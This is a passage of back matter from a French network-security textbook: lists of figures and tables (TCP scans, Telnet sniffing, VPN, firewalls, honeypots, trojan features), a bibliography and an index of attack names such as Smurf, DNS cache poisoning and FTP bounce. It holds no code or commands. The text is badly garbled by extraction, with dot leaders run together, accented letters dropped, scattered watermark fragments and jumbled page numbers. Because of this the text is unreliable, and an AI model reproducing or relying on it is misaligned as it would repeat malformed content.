15.1 Exemple de session Telnet . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 15.2 Exemple de session SSH . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 22.1 22.2 22.3 22.4 Vanilla TCP connect () TCP SYN Scan . . . . TCP FIN Scanning . . TCP SYN Scan . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
oc um en ts
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
ou sl
en ce
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
17 18 19 20 22 22 23 25 25 28 37 37 38 38 39 56 57 83 83 83 84
ic
. . . . . . . . . . . . . . .
FD
. . . . . . . . . . . . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
37.1 Quelques fonctionnalits dun trojan . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 144 39.1 Elments ncessaires la vrication dune signature . . . . . . . . . . . . . . . . . . . . . 159 44.1 Rpression contre la cybercriminalit . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 173
182
L
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
14 19 56 59 63 64 65 66 66 68 71 78 80
15.1 Trame dune connexion Telnet : 1 caractre du mot de passe . . . . . . . . . . . . . . . . . 16.1 Encryptage dun message avec signature lectronique . . . . . . . . . . . . . . . . . . . . . 17.1 17.2 17.3 17.4 17.5 17.6 Principe dun VPN . . . . . . . . . . . . . Connexion VPN entre 2 sites dune socit AH - Mode Transport . . . . . . . . . . . . AH - Mode Tunnel . . . . . . . . . . . . . ESP (Encapsulating Security Header) . . . Authentication par certicat . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
18.1 Exemple de capture de trame (user et mot de passe) . . . . . . . . . . . . . . . . . . . . . . 21.1 Principe du spoong . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 21.2 Filtrage des paquets . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
25.1 Utilisation de nbtstat . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 103 25.2 Partages Windows . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 104 28.1 Description de larchitecture rseau pour un Proxy . . . . . . . . . . . . . . . . . . . . . . 109 29.1 29.2 29.3 29.4 29.5 29.6 Principe du ltrage[2] . . . . . . . . . PareFeu derrire un routeur sans ltre PareFeu Routeur . . . . . . . . . . . PareFeu Serveur Mandataire . . . . . PareFeu : Serveur mandataire en local DMZ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 111 113 113 114 114 115
31.1 Connatre son ennemi ... . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 124 31.2 Exemple de rseau de Pots Miel . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 125 32.1 Chroot sur le dmon Apache . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 128 39.1 Certication de code . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 161 41.1 Formulaire de demande de login / mot de passe ! . . . . . . . . . . . . . . . . . . . . . . . . 166
oc um en ts
ou sl
183
ic
en ce
FD
Bibliographie
[3] L. Bouzid. [4] Ernest cheska. [5] Collectif. http ://www.forum-intrusion.com. [6] Collectif. http ://www.choixpc.com/onduleur.htm. [7] Collectif. http ://project.honeynet.org. [9] Collectif. http ://www.sophos.fr/virusinfo.
[10] Didier Donsez. Universit Joseph Fourier (Grenoble 1). [12] Guill. http ://www.guill.net. [14] Red Hat. http ://www.redhat.com.
[16] Antony Lesuisse Olivier Dony, Nicolas Galler. http ://ingi2591.udev.org/group3/nal.html. [17] Jean-Franois Pillou. http ://www.commentcamarche.net. [18] Salvatore Sanlippo. http ://www.opennet.ru.
oc um en ts
ou sl
184
ic
en ce
FD
[2] Cdric Blancher. Linux Magazine HS n 12 : Le Firewall votre meilleur ennemi acte 1.
Index
J John The Ripper . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 124 M Mots de passe . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 122 O Overlapping Fragment Attack . . . . . . . . . . . . . . . . . . 82 P PAM . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 125 Ping Flooding Attack . . . . . . . . . . . . . . . . . . . . . . . . . 81 Pluggable Authentication Modules . . . . . . . . . . . 125 Proxy . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 101 R rpm . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39 S Send Mail Attack . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 83 Smurf Attack . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 81 185
oc um en ts
ou sl
H http . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 61
ic
D T Dni de Service . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 80 tripwire . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39 DDos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 80 twcfg.txt . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40 DNS Cache Poisoning . . . . . . . . . . . . . . . . . . . . . . . . . 82 twpol.txt . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40 DoS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 80 U F UDP Flood Attack . . . . . . . . . . . . . . . . . . . . . . . . . . . . 82 FTP Bounce Attack . . . . . . . . . . . . . . . . . . . . . . . . . . . 81
en ce
FD